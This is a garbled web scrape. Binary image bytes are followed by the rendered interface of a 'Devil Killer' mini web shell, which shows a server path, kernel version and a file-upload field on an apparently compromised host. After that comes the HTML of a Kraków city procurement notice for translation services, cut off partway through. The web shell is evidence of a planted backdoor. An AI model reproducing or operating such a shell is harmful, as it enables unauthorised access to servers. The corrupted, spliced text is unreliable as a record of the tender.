JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20210415/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20210415/0003336601-N-2021.html

<header hidden><table style="border-bottom: 1px solid black; width:100%"><tr><td>Ogłoszenie nr 2021/BZP 00033366 z dnia 2021-04-15</td></tr></table></header><main><!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Wykonywanie tłumaczeń pisemnych i ustnych dla Gminy Miejskiej Kraków w 2021 roku. </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Gmina Miejska Kraków - Urząd Miasta Krakowa</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 351554353</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Plac Wszystkich Świętych 3-4</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Kraków</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">31-004</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">małopolskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL213 - Miasto Kraków</span></h3> <h3 class="mb-0">1.5.7.) Numer telefonu: <span class="normal">12 616 15 08</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">info@um.krakow.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">https://www.bip.krakow.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - jednostka sektora finansów publicznych - jednostka samorządu terytorialnego</span> </h3> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Ogólne usługi publiczne</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Wykonywanie tłumaczeń pisemnych i ustnych dla Gminy Miejskiej Kraków w 2021 roku. </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-0feadc58-9844-11eb-86b1-a64936a8669f</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2021/BZP 00033366</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2021-04-15</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2021/BZP 00007830/01/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.34 Wykonywanie tłumaczeń tekstowych i ustnych dla Urzędu Miasta Krakowa </p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.15.) Nazwa projektu lub programu</h3> <p class="mb-0"> URBACT III – Tourism Friendly Cities, Park4SUMP, ClimateKIC-Zeroemisyjny Kraków. </p> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://www.bip.krakow.pl/?sub_dok_id=20764 <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://www.bip.krakow.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">1. Zgodnie z art. 63 ust. 2 pzp, w postępowaniu o udzielenie zamówienia (…) o wartości mniejszej niż progi unijne ofertę, (…), oświadczenie, o którym mowa w art. 125 ust. 1, składa się, pod rygorem nieważności, w formie elektronicznej lub w postaci elektronicznej opatrzonej podpisem zaufanym lub podpisem osobistym. a) Forma elektroniczna oznacza opatrzenie dokumentu (pliku) elektronicznego kwalifikowanym podpisem elektronicznym. b) Rygor nieważności opisany w pkt 1. powyżej dotyczy zatem przypadków niedochowania formy złożenia następujących dokumentów: 1.b.1. Formularza Oferty wraz z załącznikiem (odpowiednio dla każdej części zamówienia) i dołączanych do niego innych dokumentów składających się na sensu stricte treść oferty Wykonawcy. 1.b.2. Oświadczeń z art. 125 ust. 1 pzp, składanych samodzielnie przez Wykonawców, zgodnie z pkt 6.1.6. lit. a SWZ. 1.b.3. Oświadczeń z art. 125 ust. 1 pzp składanych – na podstawie art. 125 ust. 5 pzp – przez podmioty, o których mowa w pkt 6.1.6. lit. b SWZ, tj. podmioty, które nie są Wykonawcami, ale udostępniają Wykonawcy swoje zasoby w celu wykazania spełniania określonego warunku/ów udziału w postępowaniu. 1.b.4.Pełnomocnictw, o których mowa w pkt 6.1.3. lit. b SWZ. 2.Pozostałe dokumenty i oświadczenia, inne niż wymienione w pkt 1 powyżej, w tym w szczególności: a) podmiotowe środki dowodowe, o których mowa w pkt 6.2. SWZ, w tym oświadczenie, o którym mowa w pkt 6.1.5. SWZ ,b) dokumenty potwierdzające umocowanie do reprezentowania, o których mowa w pkt 6.1.3. – inne niż pełnomocnictwa, odpisy lub informacje z KRS, CEiDG lub innego właściwego rejestru – a zatem dokumenty potwierdzające umocowanie do reprezentowania odpowiednio: 2.b.1. Wykonawcy, 2.b.2. Wykonawców wspólnie ubiegających się o udzielenie zamówienia publicznego, 2.b.3. podmiotu udostępniającego zasoby na zasadach określonych w art. 118 pzp, 2.b.4. podwykonawcy niebędącego podmiotem udostępniającym zasoby na takich zasadach – jeżeli dotyczy, c) zobowiązanie podmiotu udostępniającego zasoby, o którym mowa w pkt 6.1.4. SWZ, d) przedm. środki dow. – o ile są wymagane w postęp., e) inne niż ww. informacje, oświadczenia lub dokumenty, o ile przepisy szczególne nie dopuszczają dodatkowych form lub sposobów ich sporządzania i przekazywania - przekazywane są w formie elektronicznej (opatrzonej kwalifikowanym podpisem elektronicznym), lub w postaci elektronicznej opatrzonej podpisem zaufanym lub podpisem osobistym, a zatem z zachowaniem tej samej formy i postaci co dokumenty wymienione w pkt 1 powyżej, z tą różnicą, iż w przypadku niedochowania formy i/lub postaci przekazania brak jest sankcji nieważności. 3. W przypadku, gdy odpisy lub informacje z KRS, CEiDG lub innego właściwego rejestru, a także inne podmiotowe i przedmiotowe środki dowodowe, lub inne dokumenty opisane w § 6 ust. 1 rozporz. przywołanego w pkt 8.4. SWZ, zostały wystawione przez upoważnione podmioty inne niż Wykonawca, Wykonawca wspólnie ubiegający się o udzielenie zamówienia, podmiot udostępniający zasoby lub podwykonawca, jako dokument elektroniczny - przekazuje się ten dokument. W przypadku natomiast, gdy ww. kategorie dokumentów zostały wystawione jako dokument w postaci papierowej, przekazuje się cyfrowe odwzorowanie tego dokumentu opatrzone kwalifikowanym podpisem elektronicznym, podpisem zaufanym lub podpisem osobistym poświadczające zgodność cyfrowego odwzorowania z dokumentem w postaci papierowej. 4. W zakresie nieuregulowanym pzp lub SWZ do podmiotowych środków dowodowych, oświadczeń i dokumentów składanych przez Wykonawcę w postęp. zastosowanie mają w szczegól. przepisy rozporz. przywołanego w pkt 8.4. i 8.9 SWZ.</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h3 class="mb-0">3.15.) RODO (obowiązek informacyjny): <span class="normal">1. Ilekroć jest mowa o RODO, należy przez to rozumieć: Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 z dnia 27 kwietnia 2016 r. w sprawie ochrony osób fizycznych w związku z przetwarzaniem danych osobowych i w sprawie swobodnego przepływu takich danych oraz uchylenia dyrektywy 95/46/WE (ogólne rozporządzenie o ochronie danych) (Dz. Urz. UE L 119 z 04.05.2016, str. 1). 2. Wykonawca ubiegając się o udzielenie zamówienia publicznego jest zobowiązany do wypełnienia wszystkich obowiązków formalno-prawnych związanych z udziałem w postępowaniu. Do obowiązków tych należą m.in. obowiązki wynikające z RODO, w szczególności obowiązek informacyjny przewidziany w art. 13 RODO względem osób fizycznych, których dane osobowe dotyczą i od których dane te Wykonawca bezpośrednio pozyskał. Jednakże obowiązek informacyjny wynikający z art. 13 RODO nie będzie miał zastosowania, gdy i w zakresie, w jakim osoba fizyczna, której dane dotyczą, dysponuje już tymi informacjami (por. art. 13 ust. 4). Ponadto Wykonawca zobowiązany jest wypełnić obowiązek informacyjny wynikający z art. 14 RODO względem osób fizycznych, których dane przekazuje Zamawiającemu i których dane pośrednio pozyskał, chyba że ma zastosowanie co najmniej jedno z wyłączeń, o których mowa w art. 14 ust. 5 RODO. W celu zapewnienia, że Wykonawca wypełnił ww. obowiązki informacyjne oraz ochronyprawnie uzasadnionych interesów osoby trzeciej, której dane zostały przekazane w związku z udziałem Wykonawcy w postępowaniu Zamawiający wymaga złożenia przez Wykonawcę wraz z ofertą oświadczenia o wypełnieniu obowiązków informacyjnych, przewidzianych w art. 13 lub art. 14 RODO,zgodnie z treścią załącznika nr 3 do SWZ. 3. Zamawiający informuje o przetwarzaniu danych osobowych, w związku z realizacją niniejszego zamówienia. Szczegółowa klauzula informacyjna stanowi załącznik nr 5 do SWZ. 4. Ponadto, zgodnie z art. 18 ust. 6 ustawy, Zamawiający zastrzega, że będzie udostępniał dane osobowe, o których mowa w art. 10 RODO, w celu umożliwienia korzystania ze środków ochrony prawnej, o których mowa w dziale IX ustawy, do upływu terminu na ich wniesienie.</span></h3> <h3 class="mb-0">3.16.) RODO (ograniczenia stosowania): <span class="normal">Klauzula informacyjna o przetwarzaniu danych osobowych w celu związanym z postępowaniem o udzielenie zamówienia publicznego stanowi zał. nr 5 do SWZ.</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">OR-10.271.29.2021</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.5.) Łączna wartość poszczególnych części zamówienia: <span class="normal"> 494200,00 PLN </span> </h3> <h3 class="mb-0">4.1.6.) Wartość zamówienia stanowiącego przedmiot tego postępowania (bez VAT): <span class="normal"> 350800,82 PLN </span> </h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">2</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na jedną część</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Cz. 1 zam. – tłumaczenia pisemne. 2. Szczegółowy opis przedmiotu zam. zawiera wzór umowy wraz z zał. (zał. nr 6A do SWZ). 3. Prawidłowy zapis w pkt 4.2.10) ogłoszenia "okres realizacji zam. dla cz. 1" to: od dnia zawarcia umowy do dnia 21.12.21 roku z zastrzeż. zawartym w § 8 ust. 2 wzoru umowy dla cz. 1 zam. (zał. 6A do SWZ). Uwaga! Zamawiający informuje, że poszczególne wydziały UMK (wskazane w zał. 6A do SWZ) będą podpisywały odrębne umowy. </p> <h3 class="mb-0">4.2.5.) Wartość części: <span class="normal"> 269906,50 PLN </span> </h3> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">7 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">1. Zamawiający przewiduje możliwość udzielania zam. z art. 214 ust. 1 pkt 7 pzp, w wysokości nieprzekraczającej 100 % wartości zamówienia podstawowego, tj. część 1: 134 953,25 zł netto. Zamówienia te będą polegały na powtórzeniu podobnych usług w stosunku do tych opisanych w niniejszym postępowaniu we wzorze umowy oraz zał. do niego (zał. nr 6A do SWZ). Warunki, na jakich będą udzielone ww. zam. będą odpowiadały warunkom określonym w niniejszym postępowaniu we wzorze umowy oraz zał. do niego (zał. nr 6A do SWZ), przy czym warunki udziału w postępowaniu zostaną ograniczone relewantnie do powtarzanego zakresu zam. 2. Pkt 4.1.6) oraz 4.2.5) dot. cz. 1 zam. uwzględnia ww. wartość zam.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Sposób oceny ofert został szczegółowo opisany w pkt 18.1. SWZ.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">czas reakcji dla tłumaczeń zwykłych (nie ekspresowych), o którym mowa w § 3 ust. 3 pkt 1) wzoru umowy</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10,00</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">termin wykonania tłumaczeń ekspresowych, o którym mowa w § 3 ust. 4 pkt 7) wzoru umowy</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10,00</span></h3> <h3 class="mb-0">Kryterium 4</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">kwalifikacje zawodowe i doświadczenie</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">20,00</span></h3> <h3 class="mb-0">4.3.8.) Sposób oceny ofert: </h3> Sposób oceny ofert został szczegółowo opisany w pkt 18.1. SWZ. <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> 1. Cz. 2 – tłumaczenia ustne. 2. Szczegółowy opis przedmiotu zam. zawiera wzór umowy wraz z zał. (zał. nr 6B do SWZ). 3. Prawidłowy zapis w pkt 4.2.10) ogłoszenia "okres realizacji zam. dla cz. 2" to: od dnia zawarcia umowy do dnia 21.12.21 roku z zastrzeż. zawartym w § 6 ust. 2 wzoru umowy dla cz. 2 zam. (zał. 6B do SWZ).Uwaga! Zamawiający informuje, że poszczególne wydziały UMK (wskazane w zał. 6B do SWZ) będą podpisywały odrębne umowy. </p> <h3 class="mb-0">4.2.5.) Wartość części: <span class="normal"> 80894,31 PLN </span> </h3> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79540000-1 - Usługi w zakresie tłumaczeń ustnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">7 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.14.) Przedmiot, wielkość lub zakres oraz warunki zamówień na podobne usługi lub roboty budowlane <span class="normal">1. Zamawiający przewiduje możliwość udzielania zamówień z art. 214 ust. 1 pkt 7 pzp, w wysokości nieprzekraczającej 100 % wartości zam. podstawowego, tj. część 2: 40 447,16 zł netto. Zamówienia te będą polegały na powtórzeniu podobnych usług w stosunku do tych opisanych w niniejszym postępowaniu we wzorze umowy oraz zał. do niego (zał. nr 6B do SWZ). Warunki, na jakich będą udzielone ww. zam. będą odpowiadały warunkom określonym w niniejszym postępowaniu we wzorze umowy oraz zał. do niego (zał. nr 6B do SWZ), przy czym warunki udziału w postępowaniu zostaną ograniczone relewantnie do powtarzanego zakresu zam. 2. Pkt 4.1.6) oraz 4.2.5) dot. cz. 2 zam. uwzględnia ww. wartość zam.</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Sposób oceny ofert został szczegółowo opisany w pkt 18.2. SWZ.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">czas reakcji dla tłumaczeń konsekutywnych, o którym mowa w §3 ust. 3 pkt 1) wzoru umowy</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">10,00</span></h3> <h3 class="mb-0">Kryterium 3</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">kwalifikacje zawodowe i doświadczenie</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">30</span></h3> <h3 class="mb-0">4.3.8.) Sposób oceny ofert: </h3> Sposób oceny ofert został szczegółowo opisany w pkt 18.2. SWZ. <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h2 class="bg-light p-3 mt-4">SEKCJA V - KWALIFIKACJA WYKONAWCÓW</h2> <h3 class="mb-0">5.1.) Zamawiający przewiduje fakultatywne podstawy wykluczenia: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.2.) Fakultatywne podstawy wykluczenia: </h3> <p class="mb-0">Art. 109 ust. 1 pkt 5</p> <p class="mb-0">Art. 109 ust. 1 pkt 7</p> <h3 class="mb-0">5.3.) Warunki udziału w postępowaniu: <span class="normal">Tak</span></h3> <h3 class="mb-0">5.4.) Nazwa i opis warunków udziału w postępowaniu.</h3> 1. W post. mogą wziąć udział Wykonawcy, którzy – zgodnie z art. 57 pkt 2 pzp – spełniają war. udz. w post., tj. w zakresie posiadania zdolności tech. lub zawod.: Dla cz. 1 zam. - 1.1. dysp. osob. zdolnymi do wykonania zam., tj. co najmn. 16 - osob. zespołem tłumaczy w tym: a) z j. ang. – 3 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w wykonaniu co najmn. 3 tłumaczeń przeznaczonych do publikacji, b) z j. niem. – 3 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w wykonaniu co najmn.3 tłumaczeń przeznaczonych do publikacji, c) z j. franc. – 2 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w wykonaniu co najmn. 2 tłumaczeń przeznaczonych do publikacji, d) z j. włoskiego – 2 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w wykonaniu co najmn. 1 tłumaczenia przeznaczonego do publikacji, e) z j. hiszp. – 2 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w wykonaniu co najmn. 1 tłumaczenia przeznaczonego do publikacji, f) z j. rosyj. – 2 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w wykonaniu co najmn. 1 tłumaczenia przeznaczonego do publikacji, g) z j. ukr. – 2 tłumaczami, w tym co najmn. 1 tłumaczem posiadającym doświadczenie w wykonaniu co najmn. 1 tłumaczenia przeznaczonego do publikacji, - w tym po jednym tłumaczu przysięgłym z każdego z wymienionych w lit. a) – g) języków. 1.2. dysp. osob. zdolnymi do wykonania zam., tj. dysponują grupą native speakerów w ww. grupach językowych, tj. po jednym z każdej grupy językowej, którzy (każdy) posiadają min. roczne doświadczenie zawodowe w wykonywaniu tłumaczeń pisemnych. Dla cz. 2 zam. - 1.3. dysp. osob. zdolnymi do wykonania zam., tj. co najmniej 14 - osob. 